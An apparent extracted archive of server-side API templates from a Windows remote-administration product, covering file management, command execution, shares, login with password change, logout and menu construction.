		// @param REQ.ATTR_H (string, optional) - Value for 'hidden'
		// @param REQ.ATTR_S (string, optional) - Value for 'system'
		// @param REQ.ATTR_C (string, optional) - Value for 'compressed'
		// @param REQ.RECURSIVE (string, optional) - if specified, directories are scanned recursively

		usemacro CHECKREQPARAM.EXIST(REQ.DIR, "Parent directory", "DIALOG.PARENT") 
		usemacro CHECKREQPARAM.EXIST(REQ.FILE, "File name", "DRIVE.FILE") 

		// usemacro CHECKREQPARAM(REQ.ATTR_A,"-set-,-clr-","archive", "ATTR_A")
		// usemacro CHECKREQPARAM(REQ.ATTR_R,"-set-,-clr-","read-only", "ATTR_R")
		// usemacro CHECKREQPARAM(REQ.ATTR_H,"-set-,-clr-","hidden", "ATTR_H")
		// usemacro CHECKREQPARAM(REQ.ATTR_S,"-set-,-clr-","system", "ATTR_S")
		// usemacro CHECKREQPARAM(REQ.ATTR_C,"-set-,-clr-","compressed", "ATTR_C")

		action "attrset"

		usemacro ERRORHANDLER()

		action "attrget"

		usemacro ERRORHANDLER()
	elseif REQ.HTTPMETHOD == "get"
		// Returns basic file info and provides a download link
		//
		// @param REQ.DIR (string) - Parent path
		// @param REQ.FILE (string) - File name

		usemacro CHECKREQPARAM.EXIST(REQ.DIR, "Parent path", "DIALOG.PARENT")
		usemacro CHECKREQPARAM.EXIST(REQ.FILE, "File name", "DRIVE.FILE")

		action "attrget"

		usemacro ERRORHANDLER()
	else
		usemacro ERROR("Invalid method")
	endif
?>{"result": {
	"attributes": {
		"archive": "#ATTR.A#",
		"readOnly": "#ATTR.R#",
		"hidden": "#ATTR.H#",
		"system": "#ATTR.S#",
		"compressed": "#ATTR.C#",
		"directory": "#ATTR.D#",
		"offline": "#ATTR.O#",
		"temporary": "#ATTR.T#"
	}
},
"lang": {}
}
.api\fileman\attr.schemav2{
	"result": {
		"attributes": {
			"archive": { "_type": "string" },
			"readOnly": { "_type": "string" },
			"hidden": { "_type": "string" },
			"system": { "_type": "string" },
			"compressed": { "_type": "string" },
			"directory": { "_type": "string" },
			"offline": { "_type": "string" },
			"temporary": { "_type": "string" }
		}
	},

	"lang": {
	}
}2api\fileman\deskitem.jsonB<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?

	if REQ.HTTPMETHOD != "GET"
		set MYERR = "Invalid METHOD " REQ.HTTPMETHOD
		usemacro ERROR(MYERR)
	endif

	// @param REQ.BASIC (optional) Only basic desktop items are shown
	action "deskitemlist"

	// @param REQ.SCAN (optional) One of "none", "fixed" or "all" (defaults to "all")
	action "drivelist"


?>{"result": {
	"items": [
<?
	if DESKITEMS
    	usemacro CommaInit()
		enum DESKITEMS
			usemacro CommaDo()?>
		{
			"name": "#DESKITEM.NAME#",
			"path": "#DESKITEM.PATH#",
			"type": "#DESKITEM.TYPE#",
			"description": "#DESKITEM.DESC#",
			"icon": "#DESKITEM.ICON#"
		}
<?
		next
	endif
?>
	],
	"drives": [
<?
	if DRIVES
    	usemacro CommaInit()
		enum DRIVES
			usemacro CommaDo()?>
		{
			"name": "#DRIVE.NAME#",
			"path": "#DRIVE.TYPE#",
			"type": "#DESKITEM.TYPE#",
			"scanned": <?usemacro BOOL(DRIVE.SCANNED)?>,
			"size": <?usemacro NUMBER(DRIVE.SIZE)?>,
			"free": <?usemacro NUMBER(DRIVE.FREE)?>,
			"usedPerc": <?usemacro NUMBER(DRIVE.USEDP)?>,
			"freePerc": <?usemacro NUMBER(DRIVE.FREEP)?>,
			"volumeName": "#DRIVE.VOLUME#",
			"serialNumber": "#DRIVE.SERIAL#",
			"fileSystemName": "#DRIVE.FSYS#",
			"fileSystemAttributes": <?if DRIVE.ATTR?>"#DRIVE.ATTR#"<?else?>""<?endif?>,
			"maxFileNameLength": <?usemacro NUMBER(DRIVE.MAXN)?>,
			"permissionFlags": <?if DRIVE.PERM?>"#DRIVE.PERM#"<?else?>""<?endif?>,
			"shareName": "#DRIVE.SHARE#",
			"lastErrorMessage": "#DRIVE.ERROR#"
		}
<?
		next
	endif
?>
	],
	"totalSize": <?usemacro NUMBER(DRIVES.SIZE)?>,
	"totalFree": <?usemacro NUMBER(DRIVES.FREE)?>
},
"lang":{}
}
q6api\fileman\deskitem.schemaO8{
	"result": {
		"items" : {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"path": { "_type": "string" },
				"type": { "_type": "string" },
				"description": { "_type": "string" },
				"icon": { "_type": "string" }
			}
		},
		"drives": {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"path": { "_type": "string" },
				"type": { "_type": "string" },
				"scanned": { "_type": "bool" },
				"size": { "_type": "number" },
				"free": { "_type": "number" },
				"usedPerc": { "_type": "number" },
				"freePerc": { "_type": "number" },
				"volumeName": { "_type": "string" },
				"serialNumber": { "_type": "string" },
				"fileSystemName": { "_type": "string" },
				"fileSystemAttributes": { "_type": "string" },
				"maxFileNameLength": { "_type": "number" },
				"permissionFlags": { "_type": "string" },
				"shareName": { "_type": "string" },
				"lastErrorMessage": { "_type": "string" }
			},
			"totalSize": { "_type": "number" },
			"totalFree": { "_type": "number" }
		}
	},
	
	"lang": {}
}ڏF(api\fileman\dir.jsoni<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?
	switch REQ.HTTPMETHOD
	case "GET"
		// [GET] dir
		//
		// @param REQ.DIR (string) - the full path to the directory to list
		// @param REQ.SORT (optional) - sort rules in "SD" format (see below)
		// @param REQ.LIST (optional) - types of objects to list: "f" files, "d" directories, "p" parents (default "fdp")
		// @param REQ.SCAN (optional) - NOT SUPPORTED

		// @param REQ.FIND (string,optional) - When filemask is specified, it looks for files matching mask.

		// default action
		usemacro CHECKREQPARAM.EXIST(REQ.DIR, "parent path", "DIALOG.PARENT")
	case "POST"
		if REQ.OP == "mkdir"
			// [POST] dir - create directory
			//
			// @param REQ.OP (string) - Must be set to 'mkdir'
			// @param REQ.DIR (string) - the full path to the directory to list
			// @param REQ.NEW (string) - name of new directory

			usemacro CHECKREQPARAM(REQ.OP, "-mkdir-", "Operation", "OPERATION")
			usemacro CHECKREQPARAM.EXIST(REQ.DIR, "parent path", "DIALOG.PARENT")
			usemacro CHECKREQPARAM.EXIST(REQ.NEW, "name of new directory", "common_category.NAME")

			action "mkdir"

			usemacro ERRORHANDLER()
			// usemacro SENDOK("Successful operation.")
		elseif REQ.OP == "rm"
			// [POST] dir - delete directory
			//
			// @param REQ.OP (string) - Must be set to 'rm'
			// @param REQ.DIR (string) - the full path to the directory to list
			// @param REQ.FILE (string) - the full path to the directory to list

			usemacro CHECKREQPARAM(REQ.OP, "-rm-", "Operation", "OPERATION")
			usemacro CHECKREQPARAM.EXIST(REQ.DIR, "parent path", "DIALOG.PARENT")
			usemacro CHECKREQPARAM.EXIST(REQ.FILE, "file name", "common_category.NAME")

			action "filedel"

			usemacro ERRORHANDLER()
		elseif REQ.OP == "rename"
			// [POST] dir - delete directory
			//
			// @param REQ.OP (string) - Must be set to 'rename'
			// @param REQ.DIR (string) - the full path to the directory to list
			// @param REQ.FILE (string) - name of file or directory
			// @param REQ.NEW (string) - new name

			usemacro CHECKREQPARAM(REQ.OP, "-rename-", "Operation", "OPERATION")
			usemacro CHECKREQPARAM.EXIST(REQ.DIR, "parent path", "DIALOG.PARENT")
			usemacro CHECKREQPARAM.EXIST(REQ.FILE, "old name", "DRIVE.FILE")
			usemacro CHECKREQPARAM.EXIST(REQ.NEW, "new name", "common_category.NAME")

			action "fileren"

			usemacro ERRORHANDLER()
		elseif REQ.OP == "exec"
			// [POST] dir - execute command
			//
			// @param REQ.OP (string) - Must be set to 'exec'
			// @param REQ.FILE (string) - full or relative path to command
			// @param REQ.ARGS (string, optional) - Command arguments
			// @param REQ.DIR (string, optional) - Working directory

			usemacro CHECKREQPARAM(REQ.OP, "-exec-", "operation", "OPERATION")

			debug "RUN >>>> " REQ.FILE
			action "filerun"

			usemacro ERRORHANDLER()

			usemacro SENDOK("Successful operation.")
		else
			usemacro ERROR("Missing or invalid operation")
		endif		
	endswitch



	include "/api/fileman/dirlist.inc"
?>
Eg,api\fileman\dir.schemaq.{
	"result": {
		"name": { "_type": "string" },
		"fullPath": { "_type": "string" },
		"parent": { "_type": "string" },
		"shareName": { "_type": "string" },
		"pathComponents" : {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"fullPath": { "_type": "string" }
			}
		},
		"children" : {
			"_type": "array",
			"_element": {
				"name": { "_type": "string" },
				"path": { "_type": "string" },
				"extension": { "_type": "string" },
				"size": { "_type": "number" },
				"type": { "_type": "string" },
				"attributes": { "_type": "string" },
				"permissionFlags": { "_type": "string" },
				"class": { "_type": "string" },
				"displayName": { "_type": "string" },
				"version": { "_type": "string" },
				"description": { "_type": "string" },
				"owner": { "_type": "string" },
				"timeCreated": { "_type": "string" },
				"timeModified": { "_type": "string" },
				"timeLastAccess": { "_type": "string" },
				"shareName": { "_type": "string" }
			}
		},
		"totalFileSize": { "_type": "number" },
		"clipboard": { "_type": "string" }
	},
	
	"lang": {
	}
}I
P.api\fileman\dirlist.incU<?ratmpl?><?
	// See complete parameter list in fileman/dir.json

	// set default sorting
	if not REQ.SORT
		// by name, ascending
		set REQ.SORT = "na"
	endif


	if REQ.FIND
		action "filefind"

		usemacro ERRORHANDLER()
	else
		action "filelist"

		usemacro ERRORHANDLER()
	endif

?>{"result": {
	"name": "#DIR.NAME#",
	"fullPath": "#DIR.PATH#",
	"parent": "#DIR.PARENT#",
	"shareName": "#DIR.SHARE#",
	"pathComponents": [
<?
	if PATH
    	usemacro CommaInit()
		enum PATH
			usemacro CommaDo()?>
		{
			"name": "#PATH.PART#",
			"fullPath": "#PATH.FULL#"
		}
<?
		next
	endif
?>
	],
	"children": [
<?
	if FILES
    	usemacro CommaInit()
		enum FILES
			usemacro CommaDo()?>
		{
			"name": "#FILE.NAME#",
			"path": "#FILE.PATH#",
			"extension": "#FILE.EXT#",
			"size": <?usemacro NUMBER(FILE.SIZE)?>,
			"type": "#FILE.TYPE#",
			"attributes": "#FILE.ATTR#",
			"permissionFlags": <?if FILE.PERM?>"#FILE.PERM#"<?else?>""<?endif?>,
			"class": "#FILE.CLASS#",
			"displayName": "#FILE.DISP#",
			"version": "#FILE.VER#",
			"description": "#FILE.DESC#",
			"owner": "#FILE.OWNER#",
			"timeCreated": <?usemacro FORMAT.DTMS(FILE.TIMEC)?>,
			"timeModified": <?usemacro FORMAT.DTMS(FILE.TIMEM)?>,
			"timeLastAccess": <?usemacro FORMAT.DTMS(FILE.TIMEA)?>,
			"shareName": "#FILE.SHARE#",
			"download_link": "/download/?dir=%DIR%&file=%FILE.NAME%"
		}
<?
		next
	endif
?>
	],
	"totalFileSize": <?usemacro NUMBER(FILES.SIZE) ?>,
	"clipboard": "#CLIP#"
},
"lang":{}
}*api\fileman\file.jsonp
|<?ratmpl?><?nocache?><?
	include "/api/common.macro"

	// LMI WIN and RA only feature
	usemacro NOMAC()
	usemacro NOFREE()


	if REQ.HTTPMETHOD == "post"
		// Upload file
		//
		// @param REQ.DIR (string) - Destination path
		// @param REQ.OVERWRITE (string, optional) - File will be overwritten if defined
		// @param REQ.FILE1 (string) - file content
		// @param REQ.NAME1 (string) - file name
		// @param REQ.FILE2 (string, optional) - file content
		// @param REQ.NAME2 (string, optional) - file name
		// ...
		// @param REQ.FILE9 (string, optional) - file content
		// @param REQ.NAME9 (string, optional) - file name

		usemacro CHECKREQPARAM.EXIST(REQ.DIR, "Destination path", "common_category.PATH") 
		usemacro CHECKREQPARAM.EXIST(REQ.FILE1, "File content", "DRIVE.FILE") 
		usemacro CHECKREQPARAM.EXIST(REQ.NAME1, "File name", "common_category.NAME") 

		action "filerecv"

		usemacro ERRORHANDLER()

		// usemacro SENDOK("File uploaded successfully.")

		include "/api/fileman/dirlist.inc"
		
	elseif REQ.HTTPMETHOD == "put"
		// @param REQ.DIR (string) - Parent path
		// @param REQ.FILE (string) - File name
		// @param REQ.TYPE (string) - File type
		// @param REQ.DATA (string) - File data

		usemacro CHECKREQPARAM.EXIST(REQ.DIR, "parent path", "common_category.PATH")
		usemacro CHECKREQPARAM.EXIST(REQ.FILE, "file name", "common_category.NAME")
		usemacro CHECKREQPARAM.EXIST(REQ.TYPE, "file type", "common_category.TYPE")
		usemacro CHECKREQPARAM.EXIST(REQ.DATA, "file data", "DRIVE.FILE")

		action "fileset"
		usemacro ERRORHANDLER()

		action "fileget"
		
		if WINERRNUM == "2148007953"
			set BIGFILE = "1"
		else
			usemacro ERRORHANDLER()
		endif

	elseif REQ.HTTPMETHOD == "get"
		// Returns basic file info and provides a download link 
		// and also the file data! 
		//
		// @param REQ.DIR (string) - Parent path
		// @param REQ.FILE (string) - File name

		usemacro CHECKREQPARAM.EXIST(REQ.DIR, "Parent path", "common_category.PATH")
		usemacro CHECKREQPARAM.EXIST(REQ.FILE, "File name", "common_category.NAME")

		action "fileget"

		if WINERRNUM == "2148007953"
			set BIGFILE = "1"
		else
			usemacro ERRORHANDLER()
		endif
	endif


	if REQ.HTTPMETHOD == "get" or REQ.HTTPMETHOD == "put"
	
?>{"result": {
	"file": {
		"name": "#FILE.NAME#",
		"path": "#FILE.PATH#",
		"type": "#FILE.TYPE#",
		"data": "#FILE.DATA#",
		"bigfile": <?usemacro BOOL(BIGFILE)?>,
		"size": <?usemacro NUMBER(FILE.SIZE)?>,
		"size_formatted": <?usemacro FORMAT.SZK(FILE.SIZE)?>,
		"download_link": "/download/?dir=%REQ.DIR%&file=%REQ.FILE%"
	}
},
"lang": {}
}
	<?endif?>
m]e&api\fileman\pb.json}˝<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?
	// LMI WIN and RA only feature
	usemacro NOMAC()
	usemacro NOFREE()

	
	
	if REQ.HTTPMETHOD != "PUT"
		set MYERR = "Invalid method " HTTPMETHOD
		usemacro ERROR(MYERR)
	endif
	


	switch REQ.OP
	case "cut"
		// @param REQ.DIR (string) - Source path
		// @param REQ.FILE (string) - Source file (multiple times)
		// @param REQ.CUT (string, optional) - If given 'paste' operation will move file instead of copying
		usemacro CHECKREQPARAM.EXIST(REQ.DIR, "Source parent path", "common_category.PATH")
		usemacro CHECKREQPARAM.EXIST(REQ.FILE, "Source file name", "common_category.NAME")

		action "filecut"

		usemacro ERRORHANDLER()
	case "copy"
		// @param REQ.DIR (string) - Source path
		// @param REQ.FILE (string) - Source file (multiple times)
		usemacro CHECKREQPARAM.EXIST(REQ.DIR, "Source parent path", "common_category.PATH")
		usemacro CHECKREQPARAM.EXIST(REQ.FILE, "Source file name", "common_category.NAME")

		action "filecopy"

		usemacro ERRORHANDLER()
	case "paste"
		// @param REQ.DIR (string) - Destination path
		usemacro CHECKREQPARAM.EXIST(REQ.DIR, "Destination path", "common_category.PATH")

		action "filepaste"

		usemacro ERRORHANDLER()
	case default
		set MYERR = "Invalid operation " REQ.OP)
		usemacro ERROR(MYERR)
	endswitch


	include "/api/fileman/dirlist.inc"
?>
,api\fileman\share.json@<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// LMI WIN and RA only feature
	usemacro NOMAC()
	usemacro NOFREE()
	
	if REQ.HTTPMETHOD == "POST"
	
		usemacro CHECKREQPARAM.EXIST(REQ.SHARE,"share name", "DRIVE.SHARED")
		usemacro CHECKREQPARAM.EXIST(REQ.DIR,"share directory", "common_category.PATH")
		
		action "shareadd"
		usemacro ERRORHANDLER()
		
	elseif REQ.HTTPMETHOD == "PUT"
	
		usemacro CHECKREQPARAM.EXIST(REQ.SHARE,"share name", "DRIVE.SHARED")
		usemacro CHECKREQPARAM.EXIST(REQ.DIR,"share directory", "common_category.PATH")
		
		action "shareset"
		usemacro ERRORHANDLER()
		
	elseif REQ.HTTPMETHOD == "DELETE"
	
		usemacro CHECKREQPARAM.EXIST(REQ.SHARE,"share name", "DRIVE.SHARED")
		
		action "sharedel"
		usemacro ERRORHANDLER()
		
	elseif REQ.HTTPMETHOD == "GET"
	
		// usemacro CHECKREQPARAM.EXIST(REQ.SHARE,"share name", "DRIVE.SHARED")
		if not REQ.SHARE
			redirect "/api/compset/sharelist.json"
		endif
	endif

	if not REQ.HTTPMETHOD == "DELETE"
	
		action "shareinfo"
		usemacro ERRORHANDLER()
		
	endif

?>{"result": {

	"share": "#SHARE.NAME#",
	"dir": "#SHARE.PATH#",
	"comment": "#SHARE.COMMENT#",
	"usersmax": <?usemacro NUMBER(SHARE.USERSMAX)?>	
},
"lang":{}
}
C0api\fileman\share.schema6g{"result": {

	"share": { "_type": "string" },
	"dir": { "_type": "string" },
	"comment": { "_type": "string" },
	"usersmax": { "_type": "number" }
},
"lang":{}
}J.api\fileman\upload.json'<?ratmpl?><?nocache?><?
	include "/api/common.macro"

	// LMI WIN and RA only feature
	usemacro NOMAC()
	usemacro NOFREE()

	// Upload file
	//
	// @param REQ.DIR (string) - Destination path
	// @param REQ.OVERWRITE (string, optional) - File will be overwritten if defined
	// @param REQ.FILE1 (string) - file content
	// @param REQ.NAME1 (string) - file name
	// @param REQ.FILE2 (string, optional) - file content
	// @param REQ.NAME2 (string, optional) - file name
	// ...
	// @param REQ.FILE9 (string, optional) - file content
	// @param REQ.NAME9 (string, optional) - file name

	usemacro CHECKREQPARAM.EXIST(REQ.DIR, "Destination path", "common_category.PATH") 
	usemacro CHECKREQPARAM.EXIST(REQ.FILE1, "File content", "DRIVE.FILE") 
	usemacro CHECKREQPARAM.EXIST(REQ.NAME1, "File name", "common_category.NAME") 

	action "filerecv"

	usemacro ERRORHANDLER()

?>{"result": {

	"files": [
	    <?if FILES
	    	usemacro CommaInit()
			enum FILES
				usemacro CommaDo()?>
				{					    
					"source": "#FILE.SOURCE#",
					"target": "#FILE.TARGET#",
					"error": "#FILE.ERROR#"
				}
			<?next
		endif?>		
	]
	
},
"lang": {}
}
yݬapi\login.jsona<?ratmpl?><?

	nocache
	
	/// set language
	if REQ.LANG
		set session LANG = REQ.LANG
	endif

	set result = "error"
	set code = -1
	//state values:
	//-2: do not send value to the user
	//-1: blocked
	//0: successful login
	//1: login
	//2: password change
	//3: personal password
	set state = -2 
	set rmsg = ""
	set pname = PRODUCTNAME
	set pabbr = PRODUCTABBR
	/// should never receive this error
	set status s = "500 Internal Server Error"

	defmacro GETPPWDLIST()
		if PPWD 
			set FIRST = "1"
			set PPWDDATA = "["
				/// create 
				enum PPWD
					set RES = 0
					if PPWD.NEED="1"
						set RES = 1
					else
						set RES = 0
					endif
					if FIRST == "1"
						set FIRST = "0"
						set PPWDDATA = PPWDDATA RES
					else
						set PPWDDATA = PPWDDATA ", " RES
					endif
				next
			set PPWDDATA = PPWDDATA "]"
		else
			set PPWDDATA = "[]"
		endif
	endmacro

	defmacro ERRMISSINGPARAMS()
		set status s= "401 Unauthorized"
		set code = -1
		set rmsg = "Missing parameters."
	endmacro

	// check direct access
	if not ISHOSTALLOWED
		// no direct access
		debug "ERROR - Host Not Allowed! [!ISHOSTALLOWED]"
		
		set status s = "403 Forbidden"
		set code = -1
		set state = -1
		set rmsg = MSG.LOGIN.NODIRECT

	// check lockout
	elseif IPLOCKEDOUT

		debug "ERROR - IP Locked! [IPLOCKEDOUT]"

		set status s= "403 Forbidden"
		set code = -1
		set state = -1
		set rmsg = MSG.LOGIN.IPLOCK

	elseif REQ.HTTPMETHOD == "GET"
	
		action "trusteddomainlist"
		/// for future use of autologin
		action "getactiveuser"

		///todo: check if user is logged in already
		set state = 1

		set status s = "200 OK"
		set PPWDDATA = "[]"
		set code = 0

		if REQUIRECHANGEPWD and REQUIRECHANGEPWD == "1"
			set state = 2
		elseif PPWDSTATE == "1"
			set state = 3
			action "ppwd"
			usemacro GETPPWDLIST()
		endif
		?>
{
	"result":"ok",
	"activeuser":"#ACTIVEUSERNAME#",
	"code": #code#,
	"state": #state#,
	"ppwdinfo": #PPWDDATA#,
	"require_domain": <? if IsNT and IsDomainMember ?>1<? else ?>0<? endif ?>,
	"domains": <? if TRUSTEDDOMAINLIST ?>["#DEFAULTDOMAIN#"
		<?
			enum TRUSTEDDOMAINLIST
				if TRUSTEDDOMAINLIST.PLAINNAME != DEFAULTDOMAIN
				?>, "#TRUSTEDDOMAINLIST.PLAINNAME#"<?
				endif
			next
		?>
	]<? else ?>[]<? endif ?>,
	<? if REQUIRECHANGEPWD and REQUIRECHANGEPWD == "1" ?>
	"userinfo": {
		"last_username":"#LASTLOGINUSERNAME#",
		"last_domain":"#LASTLOGINDOMAIN#"
	},
	<? endif ?>
	"i18n": {
		"msg_connect":"#MSG.LOGIN.WEBSVC.CONNECTEDTO#",
		"msg_host_name":"#SRVNAME#",
		"msg_change_pwd":"#MSG.CHGPWD.EXPIRED#",
		"msg_change_pwd_help":"#MSG.CHGPWD.DESC#",
		"msg_ppwd_desc":"#MSG.LOGIN.PPWD.DESC#",
		"btn_login":"#MSG.LOGIN.SUBMIT#",
		"btn_changepwd":"#MSG.DIALOG.APPLY#",
		"btn_cancel":"#MSG.DIALOG.CANCEL#",
		"inp_username":"#MSG.LOGIN.USER#",
		"inp_password":"#MSG.LOGIN.PASS#",
		"inp_old_password":"#MSG.CHGPWD.OLDPWD#",
		"inp_new_password":"#MSG.CHGPWD.NEWPWD#",
		"inp_new_password_confirmed":"#MSG.DIALOG.PWDCONFIRM#",
		"inp_remember_me":"#MSG.LOGIN.SAVELOGIN#",
		"inp_chat_with_user":"#MSG.LOGIN.INITIATECHAT#"
	}
}
		<?
		
		exit  /// we dont want to continue the execution here
	// check if method is post
	elseif not REQ.HTTPMETHOD == "POST"

		set status s = "405 Method Not Allowed"
		///Note for the API user, does not need to be translated
		set rmsg = "Method not allowed"

	elseif not REQ.TYPE

		usemacro ERRMISSINGPARAMS()
		///Note for the API user, does not need to be translated
		set rmsg = rmsg " Type parameter was not found"

	else /// if method is post and type is set

		switch REQ.TYPE
			case "login"
                if PPWDSTATE == "1"

					set status s = "400 Bad Request"
					///Note for the API user, does not need to be translated
                    set rmsg = "You are trying to enter the personal password on the wrong endpoint, try with type=ppwd"

				elseif REQ.USERNAME and REQ.PASSWORD
					/// if the user cancels the changepwd and wishes to log into a different account
					if REQUIRECHANGEPWD and REQUIRECHANGEPWD == "1"
						set session REQUIRECHANGEPWD = ""
						set session LASTUSERNAME = ""
						set session LASTDOMAIN = ""
					endif

					action "login"
					
					if WINERRNUM
						set status s = "401 Unauthorized"
						set code = WINERRNUM
						set rmsg = WINERRMSG
					else
						set status s = "200 OK"
						set result = "ok"
						///No need to share error message, everything is ok so far
						set rmsg = ""
						set code = 0

						if PWDCHANGE
							set state = 2
							set session REQUIRECHANGEPWD = "1"
							set session LASTLOGINUSERNAME = REQ.USERNAME
							set session LASTLOGINDOMAIN = REQ.DOMAIN
						elseif PPWDSTATE == "1"
							set state = 3
							usemacro GETPPWDLIST()
						else 
							set state = 0
						endif
					endif

				else
					usemacro ERRMISSINGPARAMS()
					/// should be translated
					set rmsg = rmsg " Username and/or Password was not specified"
				endif
			
            case "pwdchange"
                if PPWDSTATE == "1"

					set status s = "400 Bad Request"
					///Note for the API user, does not need to be translated
                    set rmsg = "You are trying to enter the personal password on the wrong endpoint, try with type=ppwd"

				elseif REQUIRECHANGEPWD and REQUIRECHANGEPWD == "1"
					if REQ.PASSWORD and REQ.NEWPASSWORD and REQ.NEWPASSWORDCONFIRMED
						if not REQ.NEWPASSWORD == REQ.NEWPASSWORDCONFIRMED
							set status s = "401 Unauthorized"
							set code = -1
							/// should be translated
							set rmsg = "Passwords does not match."
						else
							action "login"

							if WINERRNUM
								set status s = "401 Unauthorized"
								set code = WINERRNUM
								set rmsg = WINERRMSG
							else
								set session REQUIRECHANGEPWD = ""
								set result = "ok"
								set status s = "200 OK"
								set code = 0
								set rmsg = ""

								if PPWDSTATE == "1"
									set state = 3
									///No need to share error message, everything is ok so far
									usemacro GETPPWDLIST()
								else 
									set state = 0
								endif
							endif
						endif
					else
						usemacro ERRMISSINGPARAMS()
						/// should be translated
						set rmsg = rmsg " Password, New password and New password confirmed is required"
					endif
				else
					set status s = "400 Bad Request"
					///Note for the API user, does not need to be translated
					set rmsg = "You can not change your password at this time."
				endif

			case "ppwd"
				if PPWDSTATE == "1"
					if REQ.PPWDC1 and REQ.PPWDC2 and REQ.PPWDC3
						set REQ.LOGON = "1"
						action "ppwd"

						if PPWDOK == "0"
							set rmsg = MSG.LOGIN.PPWD.FAILED
							set status s = "401 Unauthorized"
							usemacro GETPPWDLIST()
						else
							set result = "ok"
							set code = 0
							set state = 0
							set status s = "200 OK"
							set rmsg = ""
							set session PPWDSTATE = ""
						endif
					else 
						usemacro ERRMISSINGPARAMS()
					endif
				else
					set status s = "400 Bad Request"
					set rmsg = "You can not enter your Personal Password at this time."
				endif

			case default
				usemacro ERRMISSINGPARAMS()
				set rmsg = rmsg " Type was specified but has an invalid value. Only login, pwdchange and ppwd is accepted."
		endswitch
	endif
?>

{
	<? if not state = -2 ?>
	"state":#state#,
	<? endif ?>
	"result":"#result#",
	"code":#code#,
	"message": "#rmsg#",
	<? if state >= 0 ?>
	"csrf-token": "#CSRFTOKEN#",
	<? endif ?>
	<? if PPWDDATA ?>
	"ppwdinfo":#PPWDDATA#,
	<? endif ?>
	"lang": {
		"PRODUCTNAME":"#pname#",
		"PRODUCTABBR":"#pabbr#"
	}
}

OVapi\logout.jsonmW<?ratmpl?><?

	nocache

	action "logout"

	set status s = "200 OK"

?>{"result": {"code": "ok", "message": ""}, "lang": {"PRODUCTNAME": "#PRODUCTNAME#", "PRODUCTABBR": "#PRODUCTABBR#"}}:api\menu.jsonx<?ratmpl?><?
	nocache

	include "/api/common.macro"

	// Interface change requested. Do it and force re-render
	if REQ.HTTPMETHOD == "PUT"
		usemacro CHECKREQPARAM(REQ.INTERFACE, "-full--lmi-", "Interface type", "INTERFACE")
		
		switch REQ.INTERFACE
		case "full"
			set REQ.CHANGEINTERFACE = "1"
			action "cfginterface"

			usemacro ERRORHANDLER()
			usemacro SENDOK("Interface changed to 'full'")
		case "lmi"
			set REQ.CHANGEINTERFACE = "0"
			action "cfginterface"
			
			usemacro ERRORHANDLER()
			usemacro SENDOK("Interface changed to LMI style")
		endswitch
	endif




	usemacro DETERMINE.UITYPE()
?>{"result": {
<?	if INTERFACE.TYPE == "full"
?>	"interface": "full",
	<?
		include "/api/menu_full.inc"
	else
?>	"interface": "lmi",
	<?
		include "/api/menu_lmi.inc"
	endif
?>	},
  "actions": "&ACTIONS&",
	"lang": {"PRODUCTNAME": "&PRODUCTNAME&", "PRODUCTABBR": "&PRODUCTABBR&"}
}
"api\menuitems.incb<?ratmpl?>



<?// Do we want to display the SYSCFG menu?>

<?if ACTIONS has "-envlist-"	?><?set session DISPLAYSYSCFG="1"?><?endif?>

<?if ACTIONS has "-vmeminfo-"	?><?set session DISPLAYSYSCFG="1"?><?endif?>

<?if ACTIONS has "-timeset-"	?><?set session DISPLAYSYSCFG="1"?><?endif?>

<?if ACTIONS has "-autologin-"	?><?set session DISPLAYSYSCFG="1"?><?endif?>

<?if ACTIONS has "-shareinfo-"	?><?set session DISPLAYSYSCFG="1"?><?endif?>

<?if ACTIONS has "-cfgautopri-"	?><?set session DISPLAYSYSCFG="1"?><?endif?>



<?// Do we want to display the SYSMGR menu?>

<?if ACTIONS has "-filelist-"	?><?set session DISPLAYSYSMGR="1"?><?endif?>

<?if ACTIONS has "-userlist-"	?><?set session DISPLAYSYSMGR="1"?><?endif?>

<?if ACTIONS has "-evtinfo-"	?><?set session DISPLAYSYSMGR="1"?><?endif?>

<?if ACTIONS has "-svcinfo-"	?><?set session DISPLAYSYSMGR="1"?><?endif?>

<?if ACTIONS has "-procinfo-"	?><?set session DISPLAYSYSMGR="1"?><?endif?>

<?if ACTIONS has "-reginfo-"	?><?set session DISPLAYSYSMGR="1"?><?endif?>

<?if ACTIONS has "-telnet-"		?><?set session DISPLAYSYSMGR="1"?><?endif?>

<?if ACTIONS has "-restart-"	?><?set session DISPLAYSYSMGR="1"?><?endif?>

<?if ACTIONS has "-remctrl-"	?><?set session DISPLAYSYSMGR="1"?><?endif?>



<?// Do we want to display the SERVER menu?>

<?if ACTIONS has "-ftpserverlist-"	?><?set session DISPLAYSERVER="1"?><?endif?>

<?if ACTIONS has "-ftpconns-"		?><?set session DISPLAYSERVER="1"?><?endif?>

<?if ACTIONS has "-ftpserverstats-"	?><?set session DISPLAYSERVER="1"?><?endif?>

<?if ACTIONS has "-cfgpfwd-"		?><?set session DISPLAYSERVER="1"?><?endif?>

<?if ACTIONS has "-statpfwd-"		?><?set session DISPLAYSERVER="1"?><?endif?>

<?if ACTIONS has "-adsinfo-"		?><?set session DISPLAYSERVER="1"?><?endif?>



<?// Do we want to display the SCHEDULE menu?>

<?if ACTIONS has "-alertlist-"		?><?set session DISPLAYSCHED="1"?><?endif?>

<?if ACTIONS has "-taskinfo-"		?><?set session DISPLAYSCHED="1"?><?endif?>



<?// Do we want to display the PERFORMACE menu?>

<?if ACTIONS has "-perfmon-"	?><?set session DISPLAYPERF="1"?><?endif?>

<?if ACTIONS has "-hddlist-"	?><?set session DISPLAYPERF="1"?><?endif?>

<?if ACTIONS has "-portlist-"	?><?set session DISPLAYPERF="1"?><?endif?>

<?if ACTIONS has "-netlist-"	?><?set session DISPLAYPERF="1"?><?endif?>

<?if ACTIONS has "-objlistfile-"?><?set session DISPLAYPERF="1"?><?endif?>

<?if ACTIONS has "-objlistreg-"	?><?set session DISPLAYPERF="1"?><?endif?>

<?if ACTIONS has "-dlllist-"	?><?set session DISPLAYPERF="1"?><?endif?>

<?if ACTIONS has "-telnetconn-"	?><?set session DISPLAYPERF="1"?><?endif?>

<?if ACTIONS has "-applist-"	?><?set session DISPLAYPERF="1"?><?endif?>

